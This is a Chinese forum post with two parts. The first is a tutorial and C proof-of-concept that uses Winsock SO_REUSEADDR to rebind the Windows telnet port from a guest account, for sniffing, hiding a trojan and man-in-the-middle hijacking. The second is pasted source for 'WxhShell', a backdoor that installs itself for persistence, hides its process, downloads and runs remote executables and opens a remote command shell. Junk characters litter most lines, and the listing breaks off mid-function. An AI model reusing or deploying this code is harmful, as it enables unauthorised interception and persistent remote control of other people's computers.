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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z@%A(nZ_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }%<_>b\  
9XhH*tBn7(  
  saddr.sin_family = AF_INET; M%RH4%NZ0  
&pR 8sySu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _Vf>>tuW  
#?,"/Btq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8EX?/33$  
>3~)2)Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u:6R|%1fNn  
bUds E 1f  
  这意味着什么?意味着可以进行如下的攻击: ] W$V#  
?RW1%+[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DrbjklcUU  
1o_6WU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [LUqF?K&  
T LF'7ufq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 atmW? Z  
.:GOKyr(~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #{^qBP[  
!H<%X~|,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y y[Y=  
YU!s;h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BjA$^i|8  
SXN]${  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @1<VvW=  
0\s&;@xKk  
  #include ^,)nuU y  
  #include bI_MF/r''  
  #include 7+IRI|d  
  #include    Plhakngj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @K}h4Yok  
  int main() %o{IQ4Lz#  
  { TCIbPs E  
  WORD wVersionRequested; Pl-9FLJ  
  DWORD ret; "WO0 rh`  
  WSADATA wsaData; )C mHC3  
  BOOL val; ]0MuXiR  
  SOCKADDR_IN saddr; p=zTY7L  
  SOCKADDR_IN scaddr; DsD? &:  
  int err; 0IP0z il  
  SOCKET s; ?Zk;NL9  
  SOCKET sc; @*- 6DG-f  
  int caddsize; Li$2 Gpc/  
  HANDLE mt; >3&V"^r(|  
  DWORD tid;   e&Q w\Ze  
  wVersionRequested = MAKEWORD( 2, 2 ); >,I'S2_Zl  
  err = WSAStartup( wVersionRequested, &wsaData ); #6l(2d  
  if ( err != 0 ) { ZLPj1L  
  printf("error!WSAStartup failed!\n"); c@)?V>oe  
  return -1; &%8IBT  
  } #};Zgixo$  
  saddr.sin_family = AF_INET; };EB  
   065=I+Vo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0PsQ 1[1  
DyA /!%g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jUgx ;=  
  saddr.sin_port = htons(23); A wk1d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N:S2X+}(  
  { $|T Lt{ K  
  printf("error!socket failed!\n"); 6Z2|j~  
  return -1; R,=8)OI2  
  } q">}3`k  
  val = TRUE; mZmEE2h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (/!@ -]1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~C>Q+tR8  
  { )0"T?Ivp]  
  printf("error!setsockopt failed!\n"); U@{>+G[  
  return -1; o^//|]H3Y  
  } F- u"zox  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0vBQzM Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H*P+>j&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zk>m!F>,p  
a/3'!}&e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JnIG;/  
  { n%i L+I  
  ret=GetLastError(); `D$^SHfyz  
  printf("error!bind failed!\n"); C>mFylN  
  return -1; i~R+ g3oi  
  } p~""1m01,D  
  listen(s,2); "a33m:]J  
  while(1) YI> xxWA  
  { LU`)  
  caddsize = sizeof(scaddr); w"#rwV&  
  //接受连接请求 %}Y&qT?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 51H6 W/$  
  if(sc!=INVALID_SOCKET) |W@Ko%om  
  { {?EmO+![}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8bO+[" c  
  if(mt==NULL) m}zXy\  
  { a? PH`5O  
  printf("Thread Creat Failed!\n"); +7n vy^m  
  break; pGy k61  
  } w(t1m]pF[  
  } -yg;,nCg  
  CloseHandle(mt);  yOvV"x]  
  } nn$^iw`  
  closesocket(s); EM!S ;i  
  WSACleanup(); ITi#p%  
  return 0; !|]k2=+I  
  }   ,Mi'NO   
  DWORD WINAPI ClientThread(LPVOID lpParam)  cz>)6#&O  
  { D`X<b4e8/  
  SOCKET ss = (SOCKET)lpParam; #F2DEo^0  
  SOCKET sc; jsr)  
  unsigned char buf[4096]; :`"- Jf  
  SOCKADDR_IN saddr; R!WDQGR(2  
  long num; h4MBw=Tz~  
  DWORD val; 0Js5 ' 9}H  
  DWORD ret; rg]b$tL~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &jQqlQ j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a|[f%T<<  
  saddr.sin_family = AF_INET; #N64ZXz_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :,R>e}lM  
  saddr.sin_port = htons(23); fQg^^ZXe"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zxx9)I@?A  
  { {#`wW`U^  
  printf("error!socket failed!\n"); R~hIoaiN  
  return -1; Z?3B1o9  
  } m(kv:5<>  
  val = 100; R\#5;W^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3pL4 Zhf  
  { px+]/P <dX  
  ret = GetLastError(); ,@ f|t&  
  return -1; W$J.B!O  
  } _FS #~z'j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nU\.`.39 +  
  { T2)CiR-b  
  ret = GetLastError(); Us pv^O9_  
  return -1; {TMng&  
  } qs_cC3"=%=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /RxqFpu|.  
  { p|a`Q5z!  
  printf("error!socket connect failed!\n"); I3T;|;P7  
  closesocket(sc); qt"6~r!  
  closesocket(ss); Fl{~#]  
  return -1; xy$aFPH!-  
  } T?.l_"%%d  
  while(1) D+jvF  
  { Ukf:m&G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0JR)-*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )"M;7W?R0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XtBEVqrhi  
  num = recv(ss,buf,4096,0); R"CF xo  
  if(num>0) `zl,|}u)  
  send(sc,buf,num,0); g}a+%Obb  
  else if(num==0) OPqhdqo  
  break; ]iFW>N*a  
  num = recv(sc,buf,4096,0); D@[#7:rHL  
  if(num>0) -HuIz6  
  send(ss,buf,num,0); HJpx,NU'  
  else if(num==0) (dO0`wfM  
  break; V|HO*HiB3  
  } (I>SqM Y  
  closesocket(ss); cd=H4:<T5  
  closesocket(sc); p?P.BU\CR  
  return 0 ; m6 xbO  
  } M\IdQY-c  
';D>Z ?l  
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========================================================== vMn$lT@  
SNSoV3|k-  
下边附上一个代码,,WXhSHELL 00y(E @~  
VAyAXN~  
========================================================== ~YviXSW  
j>v8i bS(  
#include "stdafx.h" C$LRX7Z`o  
mYXL  
#include <stdio.h> ) R\";{`M  
#include <string.h> 0%IZ -])  
#include <windows.h> bun_R-  
#include <winsock2.h> /6\uBy"Xt  
#include <winsvc.h> ?@Tsd@s~r  
#include <urlmon.h> #,})N*7  
gQY`qz  
#pragma comment (lib, "Ws2_32.lib") _ |HA\!  
#pragma comment (lib, "urlmon.lib") Py+ B 2G|  
q$}J/w(,  
#define MAX_USER   100 // 最大客户端连接数 ~=oCou`XF  
#define BUF_SOCK   200 // sock buffer Ip8:~Fl]  
#define KEY_BUFF   255 // 输入 buffer j"zW0g!S  
;>X;cZMd  
#define REBOOT     0   // 重启 +G7[(Wz(z  
#define SHUTDOWN   1   // 关机 7suT26C  
j-FMWEp  
#define DEF_PORT   5000 // 监听端口 IM2<:N%'  
4@a/k[,  
#define REG_LEN     16   // 注册表键长度 J^~J&  
#define SVC_LEN     80   // NT服务名长度 3(.Y>er%U  
k{ZQM  
// 从dll定义API [W <j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MD,BGO?C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9j5Z!Vsy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G-]_ d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cyg(~7]  
ozHL'H  
// wxhshell配置信息 U56g|V  
struct WSCFG { Eb29tq  
  int ws_port;         // 监听端口 "l#"c{ee{  
  char ws_passstr[REG_LEN]; // 口令 k>!i _lb  
  int ws_autoins;       // 安装标记, 1=yes 0=no g0;6}n  
  char ws_regname[REG_LEN]; // 注册表键名 j^f54Ky.  
  char ws_svcname[REG_LEN]; // 服务名 Gs04)KJm<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $h=v ;1"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >I&s%4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8Vt'X2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j[t2Bp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" } z7yS.{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L` rrT   
EgzdRB\Cf  
}; {sq:vu@NC  
9]/:B8k  
// default Wxhshell configuration s,Fts3+  
struct WSCFG wscfg={DEF_PORT, F^}d>2W(  
    "xuhuanlingzhe", L}g#h+GP[  
    1, wW<u)|>ye  
    "Wxhshell", bV#j@MJ~0  
    "Wxhshell", n1'i!NWt  
            "WxhShell Service", @XcrHnH9  
    "Wrsky Windows CmdShell Service", 1h)K3cC  
    "Please Input Your Password: ", Hbu :HFJ!  
  1, ;oVOq$ql  
  "http://www.wrsky.com/wxhshell.exe", aouYPxA`  
  "Wxhshell.exe" wg:\$_Og  
    }; v9t'CMU  
PVmePgF   
// 消息定义模块 &{q'$oF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }XCh>LvX  
char *msg_ws_prompt="\n\r? for help\n\r#>";  8#1o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Vx EqIK  
char *msg_ws_ext="\n\rExit."; AB<bW3qf(  
char *msg_ws_end="\n\rQuit."; Upg8t'%{op  
char *msg_ws_boot="\n\rReboot..."; nmuU*o L  
char *msg_ws_poff="\n\rShutdown..."; AOTtAV_e  
char *msg_ws_down="\n\rSave to "; ?PV@WrU>B  
'CG% PjCO  
char *msg_ws_err="\n\rErr!"; t [G7&ovj  
char *msg_ws_ok="\n\rOK!"; )$*B  
vP%:\u:{  
char ExeFile[MAX_PATH]; #9qX:*>h   
int nUser = 0; f&$$*a  
HANDLE handles[MAX_USER]; Uqly|FS &n  
int OsIsNt; Ms+SJ5Lg  
!rG-[7K  
SERVICE_STATUS       serviceStatus; 6eNBldP!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bp}]'NA  
N5xI;UV9'  
// 函数声明 }C~9 ?Y  
int Install(void); FL0yRF5  
int Uninstall(void); rK'O 85)eU  
int DownloadFile(char *sURL, SOCKET wsh); ( "<4Ry.u  
int Boot(int flag); z 5~X3k7  
void HideProc(void); Pb59RE:7V  
int GetOsVer(void); a 5w E{K  
int Wxhshell(SOCKET wsl); xZQyH  
void TalkWithClient(void *cs); scrss  
int CmdShell(SOCKET sock); \vW'\}  
int StartFromService(void); {L M Q  
int StartWxhshell(LPSTR lpCmdLine); /}5)[9GC  
Q} g"pl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C MGDg}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;H?tcb*  
WO^]bR  
// 数据结构和表定义 /6 y;fx  
SERVICE_TABLE_ENTRY DispatchTable[] = V[7D4r.j  
{ A\.{(,;kp  
{wscfg.ws_svcname, NTServiceMain}, I3}I7oc_  
{NULL, NULL} [Qqss8a  
}; ZiaFByLy  
W{ZJ^QAq/  
// 自我安装 )E6E}  
int Install(void) GAh\ 6ul  
{ H8Z|gq1r  
  char svExeFile[MAX_PATH]; 91k-os(4]  
  HKEY key; h6tYy_(G  
  strcpy(svExeFile,ExeFile); tC7 4=  
F C=N}5u  
// 如果是win9x系统,修改注册表设为自启动 9*r l7  
if(!OsIsNt) { e8z?) 4T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <DEu]-'>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U1|{7.R  
  RegCloseKey(key); 8N4E~*>C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3i9~'j;F3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SzUH6|=.R=  
  RegCloseKey(key); xp]9Z]J1l  
  return 0; =^)$my\C:  
    } vOtILL6  
  } > V >GiSni  
} %V#? 1{  
else { }rWg ']  
DMKtTt[}  
// 如果是NT以上系统,安装为系统服务 JDO n`7!w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +9# qNkP  
if (schSCManager!=0) "`* >co6r  
{ #smfOGSd  
  SC_HANDLE schService = CreateService 58o&Dv6?  
  ( U.N& ~S  
  schSCManager, 7DeBeY  
  wscfg.ws_svcname, # `@jVX0  
  wscfg.ws_svcdisp, +.xK`_[M  
  SERVICE_ALL_ACCESS, !0v3Lu ~j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @\W-=YKLg  
  SERVICE_AUTO_START, Q&/WVRD  
  SERVICE_ERROR_NORMAL, i4&V+h"  
  svExeFile, ]<C]&03))  
  NULL, 1Afy$It/{  
  NULL, -x|!?u5F  
  NULL, K \.tR  
  NULL, A,3qjd,$ c  
  NULL dAy\IfZX=  
  ); E5Sn mxd  
  if (schService!=0) 32`Z3-  
  { WADEDl&,'  
  CloseServiceHandle(schService); js% n]$N  
  CloseServiceHandle(schSCManager); FW{K[km^P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '"'RC O  
  strcat(svExeFile,wscfg.ws_svcname); $KlaZ>D h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dEW= V"W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mmy/YP)  
  RegCloseKey(key); v7%}ey[  
  return 0; )UyJ.!Fly  
    } '6L@l  
  } ;WhRDmT  
  CloseServiceHandle(schSCManager); (*AJ6BQWa  
} Ty7)j]b"zl  
} ,qNbo 11  
</aQ  
return 1;  2IGU{&s  
} sd =bw  
m)Wq*&,o  
// 自我卸载 }c>vk  
int Uninstall(void) >P//]nn  
{ jB l$r{L  
  HKEY key; @#;*e] 1a  
\C4wWh-A  
if(!OsIsNt) { <2~DI0pp(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <qEBF`XP=  
  RegDeleteValue(key,wscfg.ws_regname); :[0)Uu{  
  RegCloseKey(key); 9~jS_Y)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1qBE|PwBp  
  RegDeleteValue(key,wscfg.ws_regname); "bQi+@  
  RegCloseKey(key); )g }G{9M^  
  return 0; h0I5zQZm  
  } "yj_v\@4  
} I&<'A [vHl  
} 1aUg({  
else { b~@+6 ?  
+@*>N;$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cvhwd\  
if (schSCManager!=0) kp#XpcS  
{ Nbv b_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +wQ}ZP&  
  if (schService!=0) 2b-g`60<  
  { u6| IKZ  
  if(DeleteService(schService)!=0) { 4;eD}g  
  CloseServiceHandle(schService); ,s2C)bb-  
  CloseServiceHandle(schSCManager); Kf_xKW)^  
  return 0; 7PBE(d%m  
  } =K}T; c  
  CloseServiceHandle(schService); sf:IA%.4t  
  } emB<{kOkw  
  CloseServiceHandle(schSCManager); kE|x'(x  
} T8Q_JQ  
} Hi*|f!,H?  
B]E c  
return 1; #^R@EZ  
} M^>l>?#rl  
lcgG5/82  
// 从指定url下载文件 L4bYVTm|  
int DownloadFile(char *sURL, SOCKET wsh) yrl7  
{ WNKg>$M  
  HRESULT hr; B<n[yiJ}  
char seps[]= "/"; 7S=,#  
char *token; 5%}!z~8Y4  
char *file; `(=?k[48  
char myURL[MAX_PATH]; c]bG5  
char myFILE[MAX_PATH]; $Sa7N%D  
4=;j.=>0X  
strcpy(myURL,sURL); {TdxsE>  
  token=strtok(myURL,seps); !hHX8TD^J  
  while(token!=NULL) t1yOAbI  
  { aAG']y  
    file=token; k GYsjhL\d  
  token=strtok(NULL,seps); l-S0Gn/'X  
  } ~*<`PDO?  
9Oo`4  
GetCurrentDirectory(MAX_PATH,myFILE); GlRjbNW?Q  
strcat(myFILE, "\\"); 'cQ,;y  
strcat(myFILE, file); +{C)^!zBK  
  send(wsh,myFILE,strlen(myFILE),0); d 2^/  
send(wsh,"...",3,0); %[M0TE=J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gv}Q/v   
  if(hr==S_OK) H)EL0 Kv/  
return 0; GIn%yB'  
else {2q0Ko<  
return 1; 8eYEi  
=tP^vgfQ  
} x%HxM~&  
]<L~f~vU  
// 系统电源模块 c h((u(G  
int Boot(int flag)  7Z<GlNv  
{ (n7{?`Yid  
  HANDLE hToken; U^%)BI  
  TOKEN_PRIVILEGES tkp; CDsl)  
(@qS  
  if(OsIsNt) { AE~@F4MK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dqo-.,=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1~3dX[&  
    tkp.PrivilegeCount = 1; :]CL}n$*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Oh>hy Y)}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q-uzu!  
if(flag==REBOOT) { PAtv#)h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9F?-zn;2s  
  return 0; CQ^(/B^c  
} x(R;xB  
else { f?ibyoXL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8oXp8CC  
  return 0; qswC> Gi  
} z@pa;_  
  } ZkQ6~cM  
  else { VmN7a6a  
if(flag==REBOOT) { P8|ANe1 v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yFQaNuZPC  
  return 0; 4 2DMmwB   
} u/-EVCHr y  
else { _nEVmz!zg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;134$7!Y  
  return 0; :FtV~^Z  
} U{LS_VI~  
} aNNRw(0/  
u%E8&T8,  
return 1; U1pE2o-  
} p@uHzu7  
8"g+ k`PRy  
// win9x进程隐藏模块 MSeg7/MF  
void HideProc(void) =T&<z_L  
{ e84%Y8,0  
0GeL">v,:=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \AA9 m'BZ  
  if ( hKernel != NULL ) NH}o`x/  
  { Dm8fcD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XMT@<'fI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y 5=r r3%v  
    FreeLibrary(hKernel); "::2]3e  
  } 6NhGTLI  
%dq%+yw{%m  
return; F kf4R5Y?  
} d|7LCW+HW  
D15-pz|Q  
// 获取操作系统版本 u a_w5o7  
int GetOsVer(void) g\@.qKF  
{ S.1>bs2  
  OSVERSIONINFO winfo; Ol+D"k~<C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]?wz.  
  GetVersionEx(&winfo); 3&AJN#c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ba|}$jo  
  return 1; q*` m%3{  
  else qQG? k~r  
  return 0; ~u2f`67{  
} n*na6rV\k  
fDfph7[)  
// 客户端句柄模块 a`#lYM%(>  
int Wxhshell(SOCKET wsl) `XK\', }F  
{ 5;p|iT  
  SOCKET wsh; S7nx4c2xK~  
  struct sockaddr_in client; q oi21mCn  
  DWORD myID; .r6x9t  
eA-oqolY  
  while(nUser<MAX_USER) nK?S2/o#A  
{ C~@m6K  
  int nSize=sizeof(client); &Mudu/KTr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H)gc"aRe;Y  
  if(wsh==INVALID_SOCKET) return 1; 5|K[WvG@Co  
"G.X=, V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3Wv^{|^  
if(handles[nUser]==0) n5.sx|bI?  
  closesocket(wsh); xsJXf @  
else >c<xy>N  
  nUser++; DwGM+)!  
  } ./Ek+p*96H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6o3#<ap<  
RO/(Ldh  
  return 0; B>!mD{N  
} JW^ ${4  
7g+T  
// 关闭 socket oe 6-F)+  
void CloseIt(SOCKET wsh) QkD ~  
{ 0!0e$!8l  
closesocket(wsh); 7kE+9HmfMk  
nUser--; S\A0gOL^  
ExitThread(0); xRXvTNEg  
} m[3c,Axl7  
H{=G\N{  
// 客户端请求句柄 d<Q%h?E  
void TalkWithClient(void *cs) ]3f[v:JQ  
{ &;P\e  
u^{p' a'  
  SOCKET wsh=(SOCKET)cs; ux(~+<k  
  char pwd[SVC_LEN]; `pZX!6Wn  
  char cmd[KEY_BUFF]; Z.Z;p/4F  
char chr[1]; 6LGl]jHf  
int i,j; !ae?EJm"  
,&S0/j  
  while (nUser < MAX_USER) { fK+E5~vQ  
9cP{u$  
if(wscfg.ws_passstr) { Q*ELMib  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w->Y92q]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , ftJw  
  //ZeroMemory(pwd,KEY_BUFF); s=jYQ5nv  
      i=0; {%9@{Q'T.s  
  while(i<SVC_LEN) { vCJa%}  
ny1O- `!1  
  // 设置超时 md'wre3  
  fd_set FdRead; a@W9\b@I  
  struct timeval TimeOut; \ Voly  
  FD_ZERO(&FdRead); W7 Iy_>  
  FD_SET(wsh,&FdRead); ut560,h~  
  TimeOut.tv_sec=8; C{uT1`  
  TimeOut.tv_usec=0; }kvix{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ [fqTh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l$9k:#\FD  
!0Nf`iCQ(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i) X~L4gn  
  pwd=chr[0]; +<F3}]]  
  if(chr[0]==0xd || chr[0]==0xa) { +<[q"3  
  pwd=0; uE9,N$\L_  
  break; 7R:Ij[dV  
  } a<r,LE  
  i++; ez[x8M>  
    } {._'Q[  
_%D7D~2r|  
  // 如果是非法用户,关闭 socket e8xq`:4Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [[AO6.Z  
} B47I?~{  
o(Z~J}l({  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  AkS16A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b:Zh|-  
c]#}#RJ`\  
while(1) { *.>@  
W& 0R/y7  
  ZeroMemory(cmd,KEY_BUFF); +O 7( >a  
;#v3C;  
      // 自动支持客户端 telnet标准   >\? z,Nin  
  j=0; ZJ)Z  
  while(j<KEY_BUFF) { Icg-rwa<Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b,~pwbHf  
  cmd[j]=chr[0]; ^t gjs$M|  
  if(chr[0]==0xa || chr[0]==0xd) { -`\rDPGf  
  cmd[j]=0; |*g#7 YL  
  break; Y3:HQ0w`|  
  } W)Y`8&,  
  j++; aXVldt'  
    } WcKDerc  
qX-5/;n  
  // 下载文件 ~//9Nz~;3  
  if(strstr(cmd,"http://")) { ^\O*e)#*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MjC<N[WO>N  
  if(DownloadFile(cmd,wsh)) )Wq1 af   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^il$t]X5-  
  else :h34mNU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v {HF}L  
  } CS~onf<xz  
  else { =Vs?=|r  
PA,aYg0f  
    switch(cmd[0]) { m-Jy 4f#  
  +yfUB8Xw  
  // 帮助 UG`~RO  
  case '?': { Y(7&3+'K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @~ke=w6&pe  
    break; v%*don  
  } ]`x+wWe  
  // 安装 1K@ieVc  
  case 'i': { \os"w "  
    if(Install()) 3<$Ek3X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o}KVT%}  
    else w@,p`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?B ,<gen  
    break; #!O)-dyF  
    } |Ol29C$@|  
  // 卸载 ^|Fy!kp  
  case 'r': { _dk[k@5W{'  
    if(Uninstall()) Pa d)|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf.MSk?~ar  
    else Posz|u<x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J  Y8Rk=  
    break; -d4 v:Jab  
    } Bcv{Y\x;ko  
  // 显示 wxhshell 所在路径 Aj cKz  
  case 'p': { nn:'<6"oV  
    char svExeFile[MAX_PATH]; dX1jn;7  
    strcpy(svExeFile,"\n\r"); SceHdx(]  
      strcat(svExeFile,ExeFile); +?"F=.SZ  
        send(wsh,svExeFile,strlen(svExeFile),0); KQ]sUNH  
    break; ZXb{-b?[`  
    } M 1 m]1<  
  // 重启 Xv!Gg6v6  
  case 'b': { &K'*67h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lJFy(^KQG,  
    if(Boot(REBOOT)) w#A\(z%;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,;eW&  
    else { z-gMk@l  
    closesocket(wsh); d6tv4Cf  
    ExitThread(0); sNpA!!\PM  
    } rMIX{K)'f  
    break; [UzacXt  
    } B6IKD  
  // 关机 nm<VcCc  
  case 'd': { AzJ;E tR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o[Qb/ 7  
